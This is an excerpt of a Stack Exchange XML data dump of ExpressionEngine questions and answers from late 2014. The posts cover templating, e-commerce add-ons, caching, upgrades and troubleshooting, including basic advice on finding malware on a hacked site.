  <row Id="27229" PostTypeId="2" ParentId="26943" CreationDate="2014-12-23T19:24:24.027" Score="1" Body="&lt;p&gt;After having a phone call with DevDemon support last November, I resorted to using the CodeIgniter active record to update the entries instead. This is because the Store fieldtype uses Javascript to populate certain data when creating or updating an entry with the Store field type. When you use the channel entries API to create or update entries, it is completely unaware of the Store fieldtype JS. Channel Images is the same way FYI.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2014-12-23T19:24:24.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27230" PostTypeId="1" AcceptedAnswerId="27295" CreationDate="2014-12-23T23:54:11.890" Score="0" ViewCount="195" Body="&lt;p&gt;After combing through the redis driver cache file (/system/libraries/Cache/drivers/Cache_redis.php), it appears that an option doesn't exist to allow a user to specify a redis db index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is important in the event we use the same redis database for both a development and staging server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to accomplish another way? Or is anyone aware of plans to add this as an option?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2015-01-04T16:47:43.743" Title="Does native EE caching support configurable redis db indexes?" Tags="|cache|caching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27231" PostTypeId="2" ParentId="27025" CreationDate="2014-12-24T00:12:02.287" Score="2" Body="&lt;p&gt;When the store_order_recalculate_end hook is fired, all calculations have already taken place. See picture.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9uP2P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So you need to calculate and set the order_total yourself.&lt;/p&gt;&#xA;" OwnerUserId="934" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-12-24T00:12:02.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27232" PostTypeId="2" ParentId="21597" CreationDate="2014-12-24T06:23:23.607" Score="1" Body="&lt;p&gt;In order to make this work, and not get the &quot;The action you have requested is invalid&quot; message when there are no results, I also had to set the template in the no_result_page parameter to a different template than the result_page template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On further investigation, however, it seems that the problem specifically lies with the EE search engine returning &quot;no results&quot; and loading a template that uses the {exp:search:search_results} tag. (So, potentially, you could re-use the same template if you had some sort of conditional.)&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2014-12-24T06:23:23.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27233" PostTypeId="2" ParentId="27187" CreationDate="2014-12-24T11:45:03.787" Score="2" Body="&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;One &amp;amp;amp; Two&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the semi-colon after the HTML entity - you missed that on your version.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-12-24T11:45:03.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27234" PostTypeId="2" ParentId="26842" CreationDate="2014-12-24T12:30:59.477" Score="0" Body="&lt;p&gt;I was working a site with ~60K users and 2-3K being active every day running on EE1 (that's been really a while ago). But we were really pushing EE to it's limits there. Can't say anything about EE2.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-12-24T12:30:59.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27236" PostTypeId="2" ParentId="27178" CreationDate="2014-12-24T16:21:23.043" Score="1" Body="&lt;p&gt;I may be missing something here but this seems really straightforward. The following EE code would display all entries in the myexamplecategory category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;walks&quot; disable=&quot;member_data|category_fields&quot; show_expired=&quot;yes&quot; paginate=&quot;bottom&quot; limit=&quot;12&quot;}&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='walks/view'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;    {categories}&#xA;        &amp;lt;a href=&quot;{path='walks'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;    {/categories}&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That wouldn't get your count of entries in each category that you have in the first chunk of code, but I can't see the point of the cat2 add-on in your latter bit of code.  So long as the URL is a valid EE category URL containing both the /category/ keyword and a valid URL title the channel:entries tag will dynamically filter to just returning entries in that category.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-12-24T16:21:23.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27237" PostTypeId="1" AcceptedAnswerId="28330" CreationDate="2014-12-24T18:01:03.107" Score="0" ViewCount="73" Body="&lt;p&gt;I'm having a couple of issues with CartThrob 2.6.1 and ExpressionEngine 2.7.3. Are there any known issues with Guest Checkout with these versions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;User Must Be Logged In?&lt;/code&gt; NO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Logged Out Member ID:&lt;/code&gt; 383 (which relates to a guest member ID)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Use Fingerprinting For Sessions?&lt;/code&gt; NO (also tried all the other options too)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If I'm logged in as a Super Admin then I can add items to my cart, but guests cannot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did notice that the &lt;code&gt;member_id&lt;/code&gt; field in the Database wasn't being set to &lt;code&gt;383&lt;/code&gt; either. Another weird item is that &lt;code&gt;Show Debug Info (when using debug_info tag)&lt;/code&gt; is set to &lt;code&gt;Show to SuperAdmins only&lt;/code&gt; and the use of the debug tag in my templates shows for everyone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be great!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2015-01-07T19:49:04.430" Title="CartThrob 2.6.1 and EE 2.7.3 || Guest Add to Cart" Tags="|cartthrob|guest|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27238" PostTypeId="1" AcceptedAnswerId="27239" CreationDate="2014-12-24T21:17:01.503" Score="0" ViewCount="29" Body="&lt;p&gt;In the template that shows an order from the hash in the URL (via the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag), I want to check if the order was placed by a registered member or not. If it wasn't placed by a registered member, then I want to show a message suggesting that they register to keep all their orders together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to see if the order has an associated &lt;code&gt;{username}&lt;/code&gt;, and show the message if not. However, it &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/27235/cant-get-username-or-screen-name-to-work-inside-expstoreorders-tag&quot;&gt;seems like &lt;code&gt;{username}&lt;/code&gt; doesn't work inside `{exp:store:orders} tags&lt;/a&gt;, despite the docs claiming they do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other thing I can think of is to pass the &lt;code&gt;{order_email}&lt;/code&gt; field, which &lt;em&gt;does&lt;/em&gt; work, on to some other tag that searches through members:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:memberlist:fictional_tag search:email=&quot;{order_email}&quot;}&#xA;    {if no_results}&#xA;    {!-- Order placed by non-member; show 'Consider Registering' message --}&#xA;    {/if}&#xA;{/exp:memberlist:fictional_tag}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you may have guessed, such a tag does not appear to exist as far as I can tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to see if an order was placed by a registered member?&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-12-24T23:42:25.947" Title="Template code to determine if an Exp:resso Store order was placed by a registered member?" Tags="|expresso-store|devdemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27239" PostTypeId="2" ParentId="27238" CreationDate="2014-12-24T23:42:25.947" Score="2" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://www.exp-resso.com/docs/orders_tag.html#member_id&quot; rel=&quot;nofollow noreferrer&quot;&gt;member_id&lt;/a&gt; tag to see if the user is a member or not. Logged in members will have a their member_id while guest members will return 0.&lt;/p&gt;&#xA;&lt;p&gt;{exp:store:orders order_hash=&amp;quot;{segment_3}&amp;quot;}&#xA;{if member_id == 0}&#xA;Create an account to keep all orders&#xA;{/if}&#xA;{/exp:store:orders}&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-12-24T23:42:25.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27240" PostTypeId="2" ParentId="27186" CreationDate="2014-12-25T10:28:08.770" Score="0" Body="&lt;p&gt;It looks like I don't even need to use the query module and can just use Stash to both match and display unique entries to create the secondary navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You learn something new everyday with Stash!&lt;/p&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2014-12-25T10:28:08.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27241" PostTypeId="2" ParentId="26122" CreationDate="2014-12-25T16:33:58.937" Score="0" Body="&lt;p&gt;I just tried this and search results are displaying as expected, but I needed to have a few things in place:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Language-specific channel entries that would show up within the search parameters.&lt;/li&gt;&#xA;&lt;li&gt;The language turned on (the language abbreviation segment had to be in the URL I was searching from).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="359" LastActivityDate="2014-12-25T16:33:58.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27243" PostTypeId="1" AcceptedAnswerId="27301" CreationDate="2014-12-27T11:55:21.700" Score="1" ViewCount="184" Body="&lt;p&gt;I have a very standard news feature on the site i'm working on which has both categories and pagination for the entries. A problem i'm having is that the pagination is not filtering by category in the link it is generating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am on a category URL (i.e. /news/category/general) this is not included in the {pagination_url} tag, meaning when you click it goes to the non categorised second page. The link I would expect is /news/category/general/P5 and I'm getting /news/P5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a shortened version of the tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate_base=&quot;news&quot; paginate=&quot;bottom&quot; limit=&quot;5&quot;}&#xA;&#xA;    CONTENT&#xA;&#xA;    {paginate}&#xA;        {pagination_links}&#xA;            &amp;lt;ul id=&quot;pagination&quot;&amp;gt;&#xA;                {first_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;larr; First&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/first_page}&#xA;                {previous_page}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;larr;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;disabled&quot;&amp;gt;&amp;amp;hellip;&amp;lt;/li&amp;gt;&#xA;                {/previous_page}&#xA;                {page}&amp;lt;li{if current_page} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;                {next_page}&#xA;                    &amp;lt;li class=&quot;disabled&quot;&amp;gt;&amp;amp;hellip;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/next_page}&#xA;                {last_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Last &amp;amp;rarr;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/last_page}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3897" LastActivityDate="2015-01-05T01:54:29.277" Title="Pagination &amp; Categories (Incorrect URL Generated)" Tags="|channel-entries|categories|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27244" PostTypeId="1" AcceptedAnswerId="27248" CreationDate="2014-12-27T19:10:38.313" Score="0" ViewCount="162" Body="&lt;p&gt;Looking to get some opinions form people who have &quot;been there done that&quot; on getting from EE1 to EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on a site that's currently running EE 1.6.9. As a first step towards the redesign I'd like to get them on to the latest version of EE, and it seems I have a couple options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Update to EE 1.7.2, then use the standard EE2 upgrade wizard, and do some cleanup on the EE2 end (if I get there).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup a new EE2 install with similar data structure, and pull over the data with something like Data Grab.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I seem to be finding horror stories from folks on both sides. There are a lot of (old) plugins in play … most have EE2 versions, but some very key ones don't:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gypsy&lt;/li&gt;&#xA;&lt;li&gt;Matrix&lt;/li&gt;&#xA;&lt;li&gt;Playa (which is holding a ton of relationships we'd hate to have to recreate)&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;li&gt;Better Meta&lt;/li&gt;&#xA;&lt;li&gt;LG Image Manager (which I guess will have to switch to Assets)&lt;/li&gt;&#xA;&lt;li&gt;LG TinyMCE (which I guess we'll ultimately switch to Wygwam)&lt;/li&gt;&#xA;&lt;li&gt;nGen File Field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Initially, I started down the first path. But maybe the second option is cleaner (though I worry about if/how the playa relationships will be migrated, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, it all feels like a mess, so before I venture any further figured I'd ping the community for advice. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3895" LastActivityDate="2014-12-28T12:16:07.067" Title="EE1 to EE2: Better to Upgrade or Migrate?" Tags="|ee2-upgrades|datagrab|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27245" PostTypeId="2" ParentId="27244" CreationDate="2014-12-27T19:42:43.797" Score="0" Body="&lt;p&gt;I never did a big upgrade, just small updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it depends on the size of the database of the site (entries, relationships, members etc). If it's a small database, perhaps would be better to migrate (no headache with compatibility problems), but if it's a huge one, would be better to upgrade.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-12-27T19:42:43.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27248" PostTypeId="2" ParentId="27244" CreationDate="2014-12-28T12:16:07.067" Score="0" Body="&lt;p&gt;This will be a time-sink no matter how you approach it. Gypsy is the big red flag in the EE1 install as it fundamentally changed how EE works at a low-level. There is an &quot;undo-Gypsy&quot; add-on (&lt;a href=&quot;https://devot-ee.com/add-ons/undo-gypsy&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/undo-gypsy&lt;/a&gt;) but as you can see it's unsupported. The nGen file field will also need some db-level SQL to change to a native file field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's tough to say based on the data you've provided (not sure what a &quot;ton&quot; of relationships means etc) but overall unless you are talking about thousands of entries I'd probably lean towards a fresh build in EE2, importing what you can, and then manual editing from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you might try an upgrade approach on a copy of everything just to see what happens as well.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-12-28T12:16:07.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27249" PostTypeId="2" ParentId="27194" CreationDate="2014-12-28T16:10:01.703" Score="2" Body="&lt;p&gt;Have you tried &lt;code&gt;url_title=&quot;{segment_3}&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2455" LastEditorUserId="55" LastEditDate="2014-12-29T17:53:33.093" LastActivityDate="2014-12-29T17:53:33.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27251" PostTypeId="1" CreationDate="2014-12-28T19:58:00.913" Score="0" ViewCount="256" Body="&lt;p&gt;Hi I am sick and tired of stupid mistakes of ee after every upgrade!&#xA;my problem is that I can't login to cpanel I put my username and password and it keep refreshing the page. &#xA;this is my config.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['app_version'] = &quot;292&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['cp_url'] = &quot;http://createjewelry.gr/system/index.php&quot;;&#xA;$config['doc_url'] = &quot;http://ellislab.com/expressionengine/user-guide/&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;&#xA;&#xA;$config['allow_extensions'] = &quot;y&quot;;&#xA;&#xA;$config['disable_csrf_protection'] = &quot;y&quot;; &#xA;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;c&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;; &#xA;$config['cookie_secure'] = &quot;n&quot;;&#xA;$config['expire_session_on_browser_close']  = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried everything disabling the extensions from config or phpmyadmin every single on of them clearing cache trying from another browser enabling debugging changing files deleted htaccess nothing at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anybody has any suggestion? &lt;/p&gt;&#xA;" OwnerUserId="3899" LastActivityDate="2015-12-23T10:12:50.473" Title="ee 2.9.2 can't login to cpanel infitive loop" Tags="|login|cpanel|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27252" PostTypeId="1" CreationDate="2014-12-28T23:00:59.100" Score="0" ViewCount="63" Body="&lt;p&gt;I have a channel with a category group. I need the search to order results if a certain category has been selected by placing them at the top, and entries with the same category to be then ordered by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible using solspace search?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-12-29T22:22:33.540" Title="Force search results order by category" Tags="|solspace|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27255" PostTypeId="1" CreationDate="2014-12-29T14:14:16.763" Score="0" ViewCount="70" Body="&lt;p&gt;Is there an easy way to display a list of 12 months, with the events displayed for each month. Therefore, not dividing each month into days?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A parent summary view to the calendar month page, if you will?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Ian&lt;/p&gt;&#xA;" OwnerUserId="1728" LastEditorUserId="1728" LastEditDate="2014-12-29T14:53:53.933" LastActivityDate="2016-06-03T03:36:09.753" Title="DIsplaying a list of months, with calendar summary of items" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27257" PostTypeId="1" CreationDate="2014-12-29T20:29:38.697" Score="0" ViewCount="567" Body="&lt;p&gt;I just installed Lamplighter v1.2.4 on ExpressionEngine v2.5.5 and when I view the Accessory, I see the following error. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Warning&#xA;Message: date() expects parameter 2 to be long, string given&#xA;Filename: core/Loader.php(727) : eval()'d code&#xA;Line Number: 144&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="7705" LastEditDate="2019-04-04T15:05:24.720" LastActivityDate="2020-05-05T15:01:20.217" Title="Message: date() expects parameter 2 to be long, string given" Tags="|add-on|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27258" PostTypeId="2" ParentId="27257" CreationDate="2014-12-29T20:53:07.313" Score="0" Body="&lt;p&gt;If I remember correctly, this might be because the cache folder isn't writable. Lamplighter checks the file time to determine the &quot;last checked&quot; value. If the file wasn't written correctly, it won't get a proper numeric value.&lt;/p&gt;&#xA;" OwnerUserId="365" LastActivityDate="2014-12-29T20:53:07.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27260" PostTypeId="2" ParentId="26896" CreationDate="2014-12-29T21:26:10.983" Score="0" Body="&lt;p&gt;Instead of having a &quot;Maker&quot; relationship field, what if you created a new &quot;Maker&quot; category group and then assign the products to the appropriate maker category? Then you could use the 'Percentage Off Categories' discount.&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2014-12-29T21:26:10.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27261" PostTypeId="2" ParentId="26563" CreationDate="2014-12-29T21:46:39.433" Score="0" Body="&lt;p&gt;It does not appear that this functionality exists without extending CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the documentation (as a &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart_form/#inventoryreduce&quot; rel=&quot;nofollow&quot;&gt;note for the inventory:reduce tag&lt;/a&gt;), CartThrob does check the inventory when a product is added to the cart and when attempting to finalize the order. However, it does not appear that the inventory is modified when a product is added to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create an extension yourself that hooks into the &lt;a href=&quot;http://cartthrob.com/docs/developers/hooks/index.html&quot; rel=&quot;nofollow&quot;&gt;many different hooks provided by CartThrob&lt;/a&gt; and updates the product's inventory when a product is added/deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of things you'll need to consider though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Carts persist until they expire. It's possible someone could wipe out all of your inventory by adding all the products to their cart and then not touching their cart again. Of course, you could have a really low cart expiration time set so this wouldn't wipe out other customer's ability to purchase the items for too long.&lt;/li&gt;&#xA;&lt;li&gt;Upon checkout, you would need to make sure that your modifications do not cause the math performed upon your inventory to be performed again upon checkout (when the inventory would be updated because it was purchased).&lt;/li&gt;&#xA;&lt;li&gt;You'd want to make sure you update the inventory in bulk instead of individual sql queries for each item added/deleted so there is not a drag on performance.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2014-12-29T21:46:39.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27262" PostTypeId="2" ParentId="5134" CreationDate="2014-12-29T21:58:05.707" Score="0" Body="&lt;p&gt;@stuartmcd69's answer is correct but it lacks additional details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon redirecting to the new page, you'll want to &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/add_to_cart/index.html&quot; rel=&quot;nofollow&quot;&gt;use the {add_to_cart} tag&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, it might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:cartthrob:add_to_cart entry_id=&quot;&amp;lt;product_entry_id&amp;gt;&quot; quantity=&quot;1&quot; return=&quot;return/page/here&quot;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2014-12-29T21:58:05.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27263" PostTypeId="2" ParentId="27255" CreationDate="2014-12-29T22:03:44.040" Score="0" Body="&lt;p&gt;This can be done with the &lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar&quot; rel=&quot;nofollow&quot;&gt;Calendar:Cal&lt;/a&gt; tag, using the {display_each_month} variable pair. Your code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:calendar:cal&#xA;    channel=&quot;calendar_events&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    show_months=&quot;12&quot;&#xA;    pad_short_weeks=&quot;n&quot;&#xA;}&#xA;&#xA;    {display_each_month}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Month: {date format=&quot;%F&quot;} ({month_event_total} events_&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                {events}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;calendar/events&quot;}/{event_id}/&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt; &amp;amp;nbsp; {event_start_date format=&quot;%F %j, %Y at %g:%i%a&quot;} - {event_end_date format=&quot;%F %j, %Y at %g:%i%a&quot;}&amp;lt;/li&amp;gt;&#xA;                {/events}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/display_each_month}&#xA;&#xA;    {if no_results}&#xA;        &amp;lt;li&amp;gt;No results&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:calendar:cal}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-29T22:03:44.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27264" PostTypeId="2" ParentId="27252" CreationDate="2014-12-29T22:22:33.540" Score="2" Body="&lt;p&gt;This isn't possible with Super Search as is. However, you could attempt to run a workaround with the &lt;a href=&quot;http://www.solspace.com/docs/preparse&quot; rel=&quot;nofollow&quot;&gt;Preparse add-on&lt;/a&gt; (free). What it allows you to do is parse other content into a new custom field (let's call it &quot;my_category_field&quot;) from an EE template (used only for formatting/parsing the entry data) at time of publishing/updating of entry. So, you could have Preparse set to load the &quot;my_category_field&quot; field with the usual category tags in your Preparse template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{preparse_entry_id}&quot;}&#xA;{categories}{category_name}{/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Preparse will parse out the category data into a your &quot;my_category_field&quot; field, allowing you to then have Super Search results order the results by your &quot;my_category_field&quot; custom field + date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if that makes sense! :)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-29T22:22:33.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27265" PostTypeId="1" CreationDate="2014-12-30T06:42:08.893" Score="1" ViewCount="149" Body="&lt;p&gt;I am getting a malware warning from google but I can’t track down how to access these files/pages. not in the ftp or in the CMS.  can anyone tell me were I should look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tsgw.org/index.php?/member/email_console/191/&quot; rel=&quot;nofollow&quot;&gt;http://www.tsgw.org/index.php?/member/email_console/191/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tsgw.org/index.php?/member/icq_console/416/&quot; rel=&quot;nofollow&quot;&gt;http://www.tsgw.org/index.php?/member/icq_console/416/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3902" LastActivityDate="2015-04-30T16:32:25.490" Title="tracking down malware in expression engine" Tags="|control-panel|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27266" PostTypeId="2" ParentId="27265" CreationDate="2014-12-30T08:27:19.950" Score="0" Body="&lt;p&gt;first steps would be to check your htaccess file(s) to see if anything strange is there. next check if there are any files or folders that shouuldn't be there.&#xA;take specific care to files and folders that are 777&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are you on shared hosting? You might want to contact your provider to see if they have any records of unwanted access or sql injections&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2014-12-30T08:27:19.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
